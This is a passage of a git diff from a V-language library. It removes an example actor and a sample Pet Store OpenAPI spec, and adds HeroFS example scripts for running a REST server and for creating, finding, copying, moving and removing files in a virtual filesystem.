const openapi_spec_path = '${os.dir(@FILE)}/specs/openapi.json'
|
||||
const openapi_spec_json = os.read_file(openapi_spec_path) or { panic(err) }
|
||||
const openapi_specification = openapi.json_decode(openapi_spec_json)!
|
||||
|
||||
struct ExampleActor {
|
||||
stage.Actor
|
||||
}
|
||||
|
||||
fn new() !ExampleActor {
|
||||
return ExampleActor{stage.new_actor('example')}
|
||||
}
|
||||
|
||||
pub fn run() ! {
|
||||
mut a_ := new()!
|
||||
mut a := IActor(a_)
|
||||
a.run()!
|
||||
}
|
||||
|
||||
pub fn run_server(params RunParams) ! {
|
||||
mut a := new()!
|
||||
mut server := actor.new_server(
|
||||
redis_url: 'localhost:6379'
|
||||
redis_queue: a.name
|
||||
openapi_spec: openapi_specification
|
||||
)!
|
||||
server.run(params)
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
module example_actor
|
||||
|
||||
const test_port = 8101
|
||||
|
||||
pub fn test_new() ! {
|
||||
new() or { return error('Failed to create actor:\n${err}') }
|
||||
}
|
||||
|
||||
pub fn test_run() ! {
|
||||
spawn run()
|
||||
}
|
||||
|
||||
pub fn test_run_server() ! {
|
||||
spawn run_server(port: test_port)
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
module example_actor
|
||||
|
||||
pub fn (mut a ExampleActor) handle(method string, data string) !string {
|
||||
return data
|
||||
}
|
||||
@@ -1,346 +0,0 @@
|
||||
{
|
||||
"openapi": "3.0.3",
|
||||
"info": {
|
||||
"title": "Pet Store API",
|
||||
"description": "A sample API for a pet store",
|
||||
"version": "1.0.0"
|
||||
},
|
||||
"servers": [
|
||||
{
|
||||
"url": "https://api.petstore.example.com/v1",
|
||||
"description": "Production server"
|
||||
},
|
||||
{
|
||||
"url": "https://staging.petstore.example.com/v1",
|
||||
"description": "Staging server"
|
||||
}
|
||||
],
|
||||
"paths": {
|
||||
"/pets": {
|
||||
"get": {
|
||||
"summary": "List all pets",
|
||||
"operationId": "listPets",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "limit",
|
||||
"in": "query",
|
||||
"description": "Maximum number of pets to return",
|
||||
"required": false,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int32"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "A paginated list of pets",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Pets"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "Invalid request"
|
||||
}
|
||||
}
|
||||
},
|
||||
"post": {
|
||||
"summary": "Create a new pet",
|
||||
"operationId": "createPet",
|
||||
"requestBody": {
|
||||
"required": true,
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/NewPet"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"responses": {
|
||||
"201": {
|
||||
"description": "Pet created",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Pet"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"400": {
|
||||
"description": "Invalid input"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/pets/{petId}": {
|
||||
"get": {
|
||||
"summary": "Get a pet by ID",
|
||||
"operationId": "getPet",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "petId",
|
||||
"in": "path",
|
||||
"description": "ID of the pet to retrieve",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "A pet",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Pet"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"404": {
|
||||
"description": "Pet not found"
|
||||
}
|
||||
}
|
||||
},
|
||||
"delete": {
|
||||
"summary": "Delete a pet by ID",
|
||||
"operationId": "deletePet",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "petId",
|
||||
"in": "path",
|
||||
"description": "ID of the pet to delete",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"204": {
|
||||
"description": "Pet deleted"
|
||||
},
|
||||
"404": {
|
||||
"description": "Pet not found"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/orders": {
|
||||
"get": {
|
||||
"summary": "List all orders",
|
||||
"operationId": "listOrders",
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "A list of orders",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Order"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/orders/{orderId}": {
|
||||
"get": {
|
||||
"summary": "Get an order by ID",
|
||||
"operationId": "getOrder",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "orderId",
|
||||
"in": "path",
|
||||
"description": "ID of the order to retrieve",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "An order",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/Order"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"404": {
|
||||
"description": "Order not found"
|
||||
}
|
||||
}
|
||||
},
|
||||
"delete": {
|
||||
"summary": "Delete an order by ID",
|
||||
"operationId": "deleteOrder",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "orderId",
|
||||
"in": "path",
|
||||
"description": "ID of the order to delete",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"204": {
|
||||
"description": "Order deleted"
|
||||
},
|
||||
"404": {
|
||||
"description": "Order not found"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"/users": {
|
||||
"post": {
|
||||
"summary": "Create a user",
|
||||
"operationId": "createUser",
|
||||
"requestBody": {
|
||||
"required": true,
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/NewUser"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"responses": {
|
||||
"201": {
|
||||
"description": "User created",
|
||||
"content": {
|
||||
"application/json": {
|
||||
"schema": {
|
||||
"$ref": "#/components/schemas/User"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"schemas": {
|
||||
"Pet": {
|
||||
"type": "object",
|
||||
"required": ["id", "name"],
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"tag": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
},
|
||||
"NewPet": {
|
||||
"type": "object",
|
||||
"required": ["name"],
|
||||
"properties": {
|
||||
"name": {
|
||||
"type": "string"
|
||||
},
|
||||
"tag": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
},
|
||||
"Pets": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"$ref": "#/components/schemas/Pet"
|
||||
}
|
||||
},
|
||||
"Order": {
|
||||
"type": "object",
|
||||
"required": ["id", "petId", "quantity", "shipDate"],
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"petId": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"quantity": {
|
||||
"type": "integer",
|
||||
"format": "int32"
|
||||
},
|
||||
"shipDate": {
|
||||
"type": "string",
|
||||
"format": "date-time"
|
||||
},
|
||||
"status": {
|
||||
"type": "string",
|
||||
"enum": ["placed", "approved", "delivered"]
|
||||
},
|
||||
"complete": {
|
||||
"type": "boolean"
|
||||
}
|
||||
}
|
||||
},
|
||||
"User": {
|
||||
"type": "object",
|
||||
"required": ["id", "username"],
|
||||
"properties": {
|
||||
"id": {
|
||||
"type": "integer",
|
||||
"format": "int64"
|
||||
},
|
||||
"username": {
|
||||
"type": "string"
|
||||
},
|
||||
"email": {
|
||||
"type": "string"
|
||||
},
|
||||
"phone": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
},
|
||||
"NewUser": {
|
||||
"type": "object",
|
||||
"required": ["username"],
|
||||
"properties": {
|
||||
"username": {
|
||||
"type": "string"
|
||||
},
|
||||
"email": {
|
||||
"type": "string"
|
||||
},
|
||||
"phone": {
|
||||
"type": "string"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,5 +0,0 @@
|
||||
#!/usr/bin/env -S v -n -w -gc none -cc tcc -d use_openssl -enable-globals run
|
||||
|
||||
// import example_actor
|
||||
|
||||
// example_actor.run_interface_procedure()
|
||||
3
examples/hero/herofs/.gitignore
vendored
Normal file
3
examples/hero/herofs/.gitignore
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
herofs_basic
|
||||
herofs_server
|
||||
fs_server
|
||||
34
examples/hero/herofs/fs_server.vsh
Executable file
34
examples/hero/herofs/fs_server.vsh
Executable file
@@ -0,0 +1,34 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.herofs_server
|
||||
import freeflowuniverse.herolib.ui.console
|
||||
|
||||
fn main() {
|
||||
console.print_header('HeroFS REST API Server Example')
|
||||
|
||||
// Create server with CORS enabled for development
|
||||
mut server := herofs_server.new(
|
||||
port: 8080
|
||||
host: 'localhost'
|
||||
cors_enabled: true
|
||||
allowed_origins: ['*'] // Allow all origins for development
|
||||
)!
|
||||
|
||||
console.print_item('Server configured successfully')
|
||||
console.print_item('Starting server...')
|
||||
console.print_item('')
|
||||
console.print_item('Available endpoints:')
|
||||
console.print_item(' Health check: GET http://localhost:8080/health')
|
||||
console.print_item(' API info: GET http://localhost:8080/api')
|
||||
console.print_item(' Filesystems: http://localhost:8080/api/fs')
|
||||
console.print_item(' Directories: http://localhost:8080/api/dirs')
|
||||
console.print_item(' Files: http://localhost:8080/api/files')
|
||||
console.print_item(' Blobs: http://localhost:8080/api/blobs')
|
||||
console.print_item(' Symlinks: http://localhost:8080/api/symlinks')
|
||||
console.print_item(' Tools: http://localhost:8080/api/tools')
|
||||
console.print_item('')
|
||||
console.print_item('Press Ctrl+C to stop the server')
|
||||
|
||||
// Start the server (this blocks)
|
||||
server.start()!
|
||||
}
|
||||
208
examples/hero/herofs/fs_tools_example.vsh
Executable file
208
examples/hero/herofs/fs_tools_example.vsh
Executable file
@@ -0,0 +1,208 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.herofs
|
||||
|
||||
// Example demonstrating the new FsTools high-level filesystem operations
|
||||
// This shows how to use find, cp, rm, and mv operations
|
||||
|
||||
fn main() {
|
||||
// Initialize the HeroFS factory
|
||||
mut fs_factory := herofs.new()!
|
||||
println('HeroFS factory initialized')
|
||||
|
||||
// Create a new filesystem
|
||||
mut my_fs := fs_factory.fs.new(
|
||||
name: 'tools_demo'
|
||||
description: 'Demonstration filesystem for fs_tools'
|
||||
quota_bytes: 1024 * 1024 * 1024 // 1GB quota
|
||||
)!
|
||||
|
||||
// Save the filesystem
|
||||
my_fs = fs_factory.fs.set(my_fs)!
|
||||
println('Created filesystem: ${my_fs.name} with ID: ${my_fs.id}')
|
||||
|
||||
// Create root directory
|
||||
mut root_dir := fs_factory.fs_dir.new(
|
||||
name: 'root'
|
||||
fs_id: my_fs.id
|
||||
parent_id: 0
|
||||
description: 'Root directory'
|
||||
)!
|
||||
root_dir = fs_factory.fs_dir.set(root_dir)!
|
||||
|
||||
// Update the filesystem with the root directory ID
|
||||
my_fs.root_dir_id = root_dir.id
|
||||
my_fs = fs_factory.fs.set(my_fs)!
|
||||
|
||||
// Create some sample directory structure
|
||||
println('\nCreating sample directory structure...')
|
||||
|
||||
// Create directories using the high-level tools (which will use create_path)
|
||||
src_dir_id := fs_factory.fs_dir.create_path(my_fs.id, '/src')!
|
||||
_ := fs_factory.fs_dir.create_path(my_fs.id, '/docs')!
|
||||
test_dir_id := fs_factory.fs_dir.create_path(my_fs.id, '/tests')!
|
||||
examples_dir_id := fs_factory.fs_dir.create_path(my_fs.id, '/examples')!
|
||||
|
||||
// Create some sample files
|
||||
println('Creating sample files...')
|
||||
|
||||
// Create blobs for file content
|
||||
v_code := 'fn main() {\n println("Hello from V!")\n}\n'.bytes()
|
||||
mut v_blob := fs_factory.fs_blob.new(data: v_code)!
|
||||
v_blob = fs_factory.fs_blob.set(v_blob)!
|
||||
|
||||
readme_content := '# My Project\n\nThis is a sample project.\n\n## Features\n\n- Feature 1\n- Feature 2\n'.bytes()
|
||||
mut readme_blob := fs_factory.fs_blob.new(data: readme_content)!
|
||||
readme_blob = fs_factory.fs_blob.set(readme_blob)!
|
||||
|
||||
test_content := 'fn test_main() {\n assert 1 == 1\n}\n'.bytes()
|
||||
mut test_blob := fs_factory.fs_blob.new(data: test_content)!
|
||||
test_blob = fs_factory.fs_blob.set(test_blob)!
|
||||
|
||||
// Create files
|
||||
mut main_file := fs_factory.fs_file.new(
|
||||
name: 'main.v'
|
||||
fs_id: my_fs.id
|
||||
blobs: [v_blob.id]
|
||||
mime_type: .txt
|
||||
)!
|
||||
main_file = fs_factory.fs_file.set(main_file)!
|
||||
fs_factory.fs_file.add_to_directory(main_file.id, src_dir_id)!
|
||||
|
||||
mut readme_file := fs_factory.fs_file.new(
|
||||
name: 'README.md'
|
||||
fs_id: my_fs.id
|
||||
blobs: [readme_blob.id]
|
||||
mime_type: .md
|
||||
)!
|
||||
readme_file = fs_factory.fs_file.set(readme_file)!
|
||||
fs_factory.fs_file.add_to_directory(readme_file.id, root_dir.id)!
|
||||
|
||||
mut test_file := fs_factory.fs_file.new(
|
||||
name: 'main_test.v'
|
||||
fs_id: my_fs.id
|
||||
blobs: [test_blob.id]
|
||||
mime_type: .txt
|
||||
)!
|
||||
test_file = fs_factory.fs_file.set(test_file)!
|
||||
fs_factory.fs_file.add_to_directory(test_file.id, test_dir_id)!
|
||||
|
||||
// Create a symbolic link
|
||||
mut main_symlink := fs_factory.fs_symlink.new(
|
||||
name: 'main_link.v'
|
||||
fs_id: my_fs.id
|
||||
parent_id: examples_dir_id
|
||||
target_id: main_file.id
|
||||
target_type: .file
|
||||
description: 'Link to main.v'
|
||||
)!
|
||||
main_symlink = fs_factory.fs_symlink.set(main_symlink)!
|
||||
|
||||
println('Sample filesystem structure created!')
|
||||
|
||||
// Get the filesystem instance for tools operations
|
||||
mut fs := fs_factory.fs.get(my_fs.id)!
|
||||
|
||||
// Demonstrate FIND functionality
|
||||
println('\n=== FIND OPERATIONS ===')
|
||||
|
||||
// Find all files
|
||||
println('\nFinding all files...')
|
||||
all_results := fs.find('/', recursive: true)!
|
||||
for result in all_results {
|
||||
type_str := match result.result_type {
|
||||
.file { 'FILE' }
|
||||
.directory { 'DIR ' }
|
||||
.symlink { 'LINK' }
|
||||
}
|
||||
println('${type_str}: ${result.path} (ID: ${result.id})')
|
||||
}
|
||||
|
||||
// Find only V files
|
||||
println('\nFinding only .v files...')
|
||||
v_files := fs.find('/', recursive: true, include_patterns: ['*.v'])!
|
||||
for result in v_files {
|
||||
println('V FILE: ${result.path}')
|
||||
}
|
||||
|
||||
// Find with exclude patterns
|
||||
println('\nFinding all except test files...')
|
||||
non_test_results := fs.find('/',
|
||||
recursive: true
|
||||
exclude_patterns: [
|
||||
'*test*',
|
||||
]
|
||||
)!
|
||||
for result in non_test_results {
|
||||
type_str := match result.result_type {
|
||||
.file { 'FILE' }
|
||||
.directory { 'DIR ' }
|
||||
.symlink { 'LINK' }
|
||||
}
|
||||
println('${type_str}: ${result.path}')
|
||||
}
|
||||
|
||||
// Demonstrate COPY functionality
|
||||
println('\n=== COPY OPERATIONS ===')
|
||||
|
||||
// Copy a single file
|
||||
println('Copying /src/main.v to /docs/')
|
||||
fs.cp('/src/main.v', '/docs/', herofs.FindOptions{ recursive: false }, herofs.CopyOptions{
|
||||
overwrite: true
|
||||
copy_blobs: true
|
||||
})!
|
||||
|
||||
// Copy all V files to examples directory
|
||||
println('Copying all .v files to /examples/')
|
||||
fs.cp('/', '/examples/', herofs.FindOptions{
|
||||
recursive: true
|
||||
include_patterns: [
|
||||
'*.v',
|
||||
]
|
||||
}, herofs.CopyOptions{
|
||||
overwrite: true
|
||||
copy_blobs: false
|
||||
})! // Reference same blobs
|
||||
|
||||
// Demonstrate MOVE functionality
|
||||
println('\n=== MOVE OPERATIONS ===')
|
||||
|
||||
// Move the copied file to a new location with rename
|
||||
println('Moving /docs/main.v to /examples/main_backup.v')
|
||||
fs.mv('/docs/main.v', '/examples/main_backup.v', herofs.MoveOptions{ overwrite: true })!
|
||||
|
||||
// Move README to root
|
||||
println('Moving /README.md to /project_readme.md')
|
||||
fs.mv('/README.md', '/project_readme.md', herofs.MoveOptions{ overwrite: false })!
|
||||
|
||||
// Demonstrate REMOVE functionality
|
||||
println('\n=== REMOVE OPERATIONS ===')
|
||||
|
||||
// Remove a specific file
|
||||
println('Removing /tests/main_test.v')
|
||||
fs.rm('/tests/main_test.v', herofs.FindOptions{ recursive: false }, herofs.RemoveOptions{
|
||||
delete_blobs: false
|
||||
})!
|
||||
|
||||
// Remove all files in docs directory (but keep the directory)
|
||||
println('Removing all files in /docs/ directory')
|
||||
fs.rm('/docs/', herofs.FindOptions{ recursive: false, include_patterns: ['*'] }, herofs.RemoveOptions{
|
||||
delete_blobs: false
|
||||
})!
|
||||
|
||||
println('\nAll copy, move, and remove operations completed successfully!')
|
||||
|
||||
// Show final filesystem state
|
||||
println('\n=== FINAL FILESYSTEM STATE ===')
|
||||
final_results := fs.find('/', recursive: true)!
|
||||
for result in final_results {
|
||||
type_str := match result.result_type {
|
||||
.file { 'FILE' }
|
||||
.directory { 'DIR ' }
|
||||
.symlink { 'LINK' }
|
||||
}
|
||||
println('${type_str}: ${result.path} (ID: ${result.id})')
|
||||
}
|
||||
|
||||
println('\nfs_tools demonstration completed successfully!')
|
||||
}
|
||||
354
examples/hero/herofs/herofs_advanced.vsh
Executable file
354
examples/hero/herofs/herofs_advanced.vsh
Executable file
@@ -0,0 +1,354 @@
|
||||
#!/usr/bin/env -S v -n -w -cg -gc none -cc tcc -d use_openssl -enable-globals -no-skip-unused run
|
||||
|
||||
import freeflowuniverse.herolib.hero.herofs
|
||||
|
||||
// Advanced example of using HeroFS - the Hero Filesystem
|
||||
// Demonstrates more complex operations including:
|
||||
// - File operations (move, rename, metadata)
|
||||
// - Symlinks
|
||||
// - Binary data handling
|
||||
// - Directory hierarchies
|
||||
// - Searching and filtering
|
||||
|
||||
fn main() {
|
||||
// Initialize the HeroFS factory
|
||||
mut fs_factory := herofs.new()!
|
||||
println('HeroFS factory initialized')
|
||||
|
||||
// Create a new filesystem
|
||||
mut my_fs := fs_factory.fs.new(
|
||||
name: 'project_workspace'
|
||||
description: 'Project development workspace'
|
||||
quota_bytes: 5 * 1024 * 1024 * 1024 // 5GB quota
|
||||
)!
|
||||
|
||||
// Save the filesystem
|
||||
my_fs = fs_factory.fs.set(my_fs)!
|
||||
println('Created filesystem: ${my_fs.name} with ID: ${my_fs.id}')
|
||||
|
||||
// Create root directory
|
||||
mut root_dir := fs_factory.fs_dir.new(
|
||||
name: 'root'
|
||||
fs_id: my_fs.id
|
||||
parent_id: 0 // Root has no parent
|
||||
description: 'Root directory'
|
||||
)!
|
||||
|
||||
// Save the root directory
|
||||
root_dir = fs_factory.fs_dir.set(root_dir)!
|
||||
println('Created root directory with ID: ${root_dir.id}')
|
||||
|
||||
// Update the filesystem with the root directory ID
|
||||
my_fs.root_dir_id = root_dir.id
|
||||
my_fs = fs_factory.fs.set(my_fs)!
|
||||
|
||||
// Create a directory hierarchy
|
||||
println('\nCreating directory hierarchy...')
|
||||
|
||||
// Main project directories
|
||||
mut src_dir := fs_factory.fs_dir.new(
|
||||
name: 'src'
|
||||
fs_id: my_fs.id
|
||||
parent_id: root_dir.id
|
||||
description: 'Source code'
|
||||
)!
|
||||
src_dir = fs_factory.fs_dir.set(src_dir)!
|
||||
|
||||
mut docs_dir := fs_factory.fs_dir.new(
|
||||
name: 'docs'
|
||||
fs_id: my_fs.id
|
||||
parent_id: root_dir.id
|
||||
description: 'Documentation'
|
||||
)!
|
||||
docs_dir = fs_factory.fs_dir.set(docs_dir)!
|
||||
|
||||
mut assets_dir := fs_factory.fs_dir.new(
|
||||
name: 'assets'
|
||||
fs_id: my_fs.id
|
||||
parent_id: root_dir.id
|
||||
description: 'Project assets'
|
||||
)!
|
||||
assets_dir = fs_factory.fs_dir.set(assets_dir)!
|
||||
|
||||
// Subdirectories
|
||||
mut images_dir := fs_factory.fs_dir.new(
|
||||
name: 'images'
|
||||
fs_id: my_fs.id
|
||||
parent_id: assets_dir.id
|
||||
description: 'Image assets'
|
||||
)!
|
||||
images_dir = fs_factory.fs_dir.set(images_dir)!
|
||||
|
||||
mut api_docs_dir := fs_factory.fs_dir.new(
|
||||
name: 'api'
|
||||
fs_id: my_fs.id
|
||||
parent_id: docs_dir.id
|
||||
description: 'API documentation'
|
||||
)!
|
||||
api_docs_dir = fs_factory.fs_dir.set(api_docs_dir)!
|
||||
|
||||
// Add directories to their parents
|
||||
root_dir.directories << src_dir.id
|
||||
root_dir.directories << docs_dir.id
|
||||
root_dir.directories << assets_dir.id
|
||||
root_dir = fs_factory.fs_dir.set(root_dir)!
|
||||
|
||||
assets_dir.directories << images_dir.id
|
||||
assets_dir = fs_factory.fs_dir.set(assets_dir)!
|
||||
|
||||
docs_dir.directories << api_docs_dir.id
|
||||
docs_dir = fs_factory.fs_dir.set(docs_dir)!
|
||||
|
||||
println('Directory hierarchy created successfully')
|
||||
|
||||
// Create some files with different content types
|
||||
println('\nCreating various files...')
|
||||
|
||||
// Text file for source code
|
||||
code_content := 'fn main() {\n println("Hello, HeroFS!")\n}\n'.bytes()
|
||||
mut code_blob := fs_factory.fs_blob.new(data: code_content)!
|
||||
code_blob = fs_factory.fs_blob.set(code_blob)!
|
||||
|
||||
mut code_file := fs_factory.fs_file.new(
|
||||
name: 'main.v'
|
||||
fs_id: my_fs.id
|
||||
blobs: [code_blob.id]
|
||||
mime_type: .txt
|
||||
metadata: {
|
||||
'language': 'vlang'
|
||||
'version': '0.3.3'
|
||||
}
|
||||
)!
|
||||
code_file = fs_factory.fs_file.set(code_file)!
|
||||
fs_factory.fs_file.add_to_directory(code_file.id, src_dir.id)!
|
||||
|
||||
// Markdown documentation file
|
||||
docs_content := '# API Documentation\n\n## Endpoints\n\n- GET /api/v1/users\n- POST /api/v1/users\n'.bytes()
|
||||
mut docs_blob := fs_factory.fs_blob.new(data: docs_content)!
|
||||
docs_blob = fs_factory.fs_blob.set(docs_blob)!
|
||||
|
||||
mut docs_file := fs_factory.fs_file.new(
|
||||
name: 'api.md'
|
||||
fs_id: my_fs.id
|
||||
blobs: [docs_blob.id]
|
||||
mime_type: .md
|
||||
)!
|
||||
docs_file = fs_factory.fs_file.set(docs_file)!
|
||||
fs_factory.fs_file.add_to_directory(docs_file.id, api_docs_dir.id)!
|
||||
|
||||
// Create a binary file (sample image)
|
||||
// For this example, we'll just create random bytes
|
||||
mut image_data := []u8{len: 1024, init: u8(index % 256)}
|
||||
mut image_blob := fs_factory.fs_blob.new(data: image_data)!
|
||||
image_blob = fs_factory.fs_blob.set(image_blob)!
|
||||
|
||||
mut image_file := fs_factory.fs_file.new(
|
||||
name: 'logo.png'
|
||||
fs_id: my_fs.id
|
||||
blobs: [image_blob.id]
|
||||
mime_type: .png
|
||||
metadata: {
|
||||
'width': '200'
|
||||
'height': '100'
|
||||
'format': 'PNG'
|
||||
}
|
||||
)!
|
||||
image_file = fs_factory.fs_file.set(image_file)!
|
||||
fs_factory.fs_file.add_to_directory(image_file.id, images_dir.id)!
|
||||
|
||||
println('Files created successfully')
|
||||
|
||||
// Create symlinks
|
||||
println('\nCreating symlinks...')
|
||||
|
||||
// Symlink to the API docs from the root directory
|
||||
mut api_symlink := fs_factory.fs_symlink.new(
|
||||
name: 'api-docs'
|
||||
fs_id: my_fs.id
|
||||
parent_id: root_dir.id
|
||||
target_id: api_docs_dir.id
|
||||
target_type: .directory
|
||||
description: 'Shortcut to API documentation'
|
||||
)!
|
||||
api_symlink = fs_factory.fs_symlink.set(api_symlink)!
|
||||
|
||||
// Symlink to the logo from the docs directory
|
||||
mut logo_symlink := fs_factory.fs_symlink.new(
|
||||
name: 'logo.png'
|
||||
fs_id: my_fs.id
|
||||
parent_id: docs_dir.id
|
||||
target_id: image_file.id
|
||||
target_type: .file
|
||||
description: 'Shortcut to project logo'
|
||||
)!
|
||||
logo_symlink = fs_factory.fs_symlink.set(logo_symlink)!
|
||||
|
||||
// Add symlinks to their parent directories
|
||||
root_dir.symlinks << api_symlink.id
|
||||
root_dir = fs_factory.fs_dir.set(root_dir)!
|
||||
|
||||
docs_dir.symlinks << logo_symlink.id
|
||||
docs_dir = fs_factory.fs_dir.set(docs_dir)!
|
||||
|
||||
println('Symlinks created successfully')
|
||||
|
||||
// Demonstrate filesystem navigation using find
|
||||
println('\nDemonstrating filesystem navigation...')
|
||||
|
||||
// Get the filesystem instance for navigation
|
||||
mut fs := fs_factory.fs.get(my_fs.id)!
|
||||
|
||||
// Find all items in the filesystem
|
||||
results := fs.find('/', recursive: true)!
|
||||
println('Complete filesystem structure:')
|
||||
for result in results {
|
||||
type_str := match result.result_type {
|
||||
.file { 'FILE' }
|
||||
.directory { 'DIR ' }
|
||||
.symlink { 'LINK' }
|
||||
}
|
||||
println('${type_str}: ${result.path} (ID: ${result.id})')
|
||||
}
|
||||
|
||||
// Find specific file types
|
||||
println('\nFinding specific file types...')
|
||||
v_files := fs.find('/', include_patterns: ['*.v'], recursive: true)!
|
||||
println('V source files:')
|
||||
for file in v_files {
|
||||
println(' ${file.path}')
|
||||
}
|
||||
|
||||
md_files := fs.find('/', include_patterns: ['*.md'], recursive: true)!
|
||||
println('Markdown files:')
|
||||
for file in md_files {
|
||||
println(' ${file.path}')
|
||||
}
|
||||
|
||||
// Find files in specific directories
|
||||
println('\nFinding files in specific directories...')
|
||||
src_files := fs.find('/src', recursive: true)!
|
||||
println('Files in src directory:')
|
||||
for file in src_files {
|
||||
println(' ${file.path}')
|
||||
}
|
||||
|
||||
// Demonstrate advanced file operations
|
||||
println('\nDemonstrating advanced file operations...')
|
||||
|
||||
// Update file metadata
|
||||
println('Updating file metadata...')
|
||||
fs_factory.fs_file.update_metadata(docs_file.id, 'status', 'draft')!
|
||||
fs_factory.fs_file.update_metadata(docs_file.id, 'author', 'HeroFS Team')!
|
||||
|
||||
// Update access time
|
||||
println('Updating file access time...')
|
||||
fs_factory.fs_file.update_accessed(docs_file.id)!
|
||||
|
||||
// Rename a file
|
||||
println('Renaming main.v to app.v...')
|
||||
fs_factory.fs_file.rename(code_file.id, 'app.v')!
|
||||
|
||||
// Append content to a file
|
||||
println('Appending content to API docs...')
|
||||
additional_content := '\n## Authentication\n\nUse Bearer token for authentication.\n'.bytes()
|
||||
mut additional_blob := fs_factory.fs_blob.new(data: additional_content)!
|
||||
additional_blob = fs_factory.fs_blob.set(additional_blob)!
|
||||
fs_factory.fs_file.append_blob(docs_file.id, additional_blob.id)!
|
||||
|
||||
// Demonstrate directory operations
|
||||
println('\nDemonstrating directory operations...')
|
||||
|
||||
// Create a temporary directory
|
||||
mut temp_dir := fs_factory.fs_dir.new(
|
||||
name: 'temp'
|
||||
fs_id: my_fs.id
|
||||
parent_id: root_dir.id
|
||||
description: 'Temporary directory'
|
||||
)!
|
||||
temp_dir = fs_factory.fs_dir.set(temp_dir)!
|
||||
|
||||
// Add to parent
|
||||
root_dir.directories << temp_dir.id
|
||||
root_dir = fs_factory.fs_dir.set(root_dir)!
|
||||
|
||||
// Move temp directory under docs
|
||||
println('Moving temp directory under docs...')
|
||||
fs_factory.fs_dir.move(temp_dir.id, docs_dir.id)!
|
||||
|
||||
// Rename temp directory to drafts
|
||||
println('Renaming temp directory to drafts...')
|
||||
fs_factory.fs_dir.rename(temp_dir.id, 'drafts')!
|
||||
|
||||
// Check if docs directory has children
|
||||
has_children := fs_factory.fs_dir.has_children(docs_dir.id)!
|
||||
println('Does docs directory have children? ${has_children}')
|
||||
|
||||
// Demonstrate listing operations
|
||||
println('\nDemonstrating listing operations...')
|
||||
|
||||
// List all files in filesystem
|
||||
all_files := fs_factory.fs_file.list_by_filesystem(my_fs.id)!
|
||||
println('All files in filesystem (${all_files.len}):')
|
||||
for file in all_files {
|
||||
println('- ${file.name} (ID: ${file.id})')
|
||||
}
|
||||
|
||||
// List files by MIME type
|
||||
md_files_by_type := fs_factory.fs_file.list_by_mime_type(.md)!
|
||||
println('\nMarkdown files (${md_files_by_type.len}):')
|
||||
for file in md_files_by_type {
|
||||
println('- ${file.name} (ID: ${file.id})')
|
||||
}
|
||||
|
||||
// List all symlinks
|
||||
all_symlinks := fs_factory.fs_symlink.list_by_filesystem(my_fs.id)!
|
||||
println('\nAll symlinks (${all_symlinks.len}):')
